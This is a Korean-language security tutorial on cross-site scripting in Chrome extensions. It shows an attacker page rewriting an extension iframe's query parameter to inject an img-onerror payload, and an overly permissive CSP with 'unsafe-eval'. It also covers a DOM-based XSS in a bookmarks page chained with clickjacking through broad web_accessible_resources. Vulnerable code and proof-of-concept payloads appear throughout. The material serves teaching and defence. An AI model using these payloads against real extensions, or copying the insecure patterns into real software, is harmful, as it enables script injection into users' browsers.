Iframe을 통한 교차 사이트 스크립팅 (XSS)
이 설정에서는 콘텐츠 스크립트 가 Iframe을 인스턴스화하기 위해 구현되며, Iframe의 소스로 쿼리 매개변수가 포함된 URL을 사용합니다:
Copy chrome . storage . local .get ( "message" , result => {
let constructedURL = chrome . runtime .getURL ( "message.html" ) +
"?content=" + encodeURIComponent ( result .message) +
"&redirect=https://example.net/details" ;
frame .src = constructedURL;
});
공개적으로 접근 가능한 HTML 페이지, message.html
,은 URL의 매개변수에 따라 문서 본문에 동적으로 콘텐츠를 추가하도록 설계되었습니다:
Copy $ (document) .ready (() => {
let urlParams = new URLSearchParams ( window . location .search);
let userContent = urlParams .get ( "content" );
$ ( document .body) .html ( ` ${ userContent } <button id='detailBtn'>Details</button>` );
$ ( '#detailBtn' ) .on ( 'click' , () => {
let destinationURL = urlParams .get ( "redirect" );
chrome . tabs .create ({ url : destinationURL });
});
});
악의적인 스크립트가 적의 페이지에서 실행되어 Iframe의 소스의 content
매개변수를 수정하여 XSS 페이로드 를 도입합니다. 이는 Iframe의 소스를 업데이트하여 유해한 스크립트를 포함시킴으로써 달성됩니다:
Copy setTimeout (() => {
let targetFrame = document .querySelector ( "iframe" ).src;
let baseURL = targetFrame .split ( '?' )[ 0 ];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>" ;
let maliciousURL = ` ${ baseURL } ?content= ${ encodeURIComponent (xssPayload) } ` ;
document .querySelector ( "iframe" ).src = maliciousURL;
} , 1000 );
과도하게 허용적인 콘텐츠 보안 정책 예:
Copy "content_security_policy" : "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScript의 실행을 허용하여 시스템을 XSS 공격에 취약하게 만듭니다.
XSS를 유발하는 대안적인 접근 방식은 Iframe 요소를 생성하고 그 소스를 content
매개변수로 유해한 스크립트를 포함하도록 설정하는 것입니다:
Copy let newFrame = document .createElement ( "iframe" );
newFrame .src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent ( "<img src='x' onerror='alert(\"XSS\")'>" );
document . body .append (newFrame);
DOM-based XSS + ClickJacking
이 예시는 원본 게시물 작성 에서 가져왔습니다.
핵심 문제는 **/html/bookmarks.html
**에 위치한 DOM 기반 교차 사이트 스크립팅(XSS) 취약점에서 발생합니다. 문제의 JavaScript는 **bookmarks.js
**의 일부로 아래에 자세히 설명되어 있습니다:
Copy $ ( '#btAdd' ) .on ( 'click' , function () {
var bookmarkName = $ ( '#txtName' ) .val ();
if ( $ ( '.custom-button .label' ) .filter ( function () {
return $ ( this ) .text () === bookmarkName;
}). length ) return false ;
var bookmarkItem = $ ( '<div class="custom-button">' );
bookmarkItem .html ( '<span class="label">' + bookmarkName + '</span>' );
bookmarkItem .append ( '<button class="remove-btn" title="delete">x</button>' );
bookmarkItem .attr ( 'data-title' , bookmarkName);
bookmarkItem .data ( 'timestamp' , ( new Date () .getTime ()));
$ ( 'section.bookmark-container .existing-items' ) .append (bookmarkItem);
persistData ();
});
이 코드 조각은 txtName
입력 필드에서 값 을 가져오고 문자열 연결을 사용하여 HTML을 생성 한 다음, jQuery의 .append()
함수를 사용하여 DOM에 추가합니다.
일반적으로 Chrome 확장의 콘텐츠 보안 정책(CSP)은 이러한 취약점을 방지합니다. 그러나 ‘unsafe-eval’로 CSP 완화 와 jQuery의 DOM 조작 메서드 사용(이 메서드는 DOM 삽입 시 eval()
에 스크립트를 전달하기 위해 globalEval()
을 사용함)으로 인해 여전히 악용이 가능합니다.
이 취약점은 중요하지만, 그 악용은 일반적으로 사용자 상호작용에 의존합니다: 페이지 방문, XSS 페이로드 입력, “추가” 버튼 활성화.
이 취약점을 강화하기 위해, 두 번째 클릭재킹 취약점이 악용됩니다. Chrome 확장의 매니페스트는 광범위한 web_accessible_resources
정책을 보여줍니다:
Copy "web_accessible_resources" : [
"html/bookmarks.html" ,
"dist/*" ,
"assets/*" ,
"font/*" ,
[...]
],
특히, /html/bookmarks.html
페이지는 프레이밍에 취약하여 clickjacking 에 노출됩니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 설정하고, DOM 요소로 덮어씌워 인터페이스를 기만적으로 재설계하는 데 활용됩니다. 이 조작은 피해자가 기본 확장과 의도치 않게 상호작용하도록 이끕니다.
References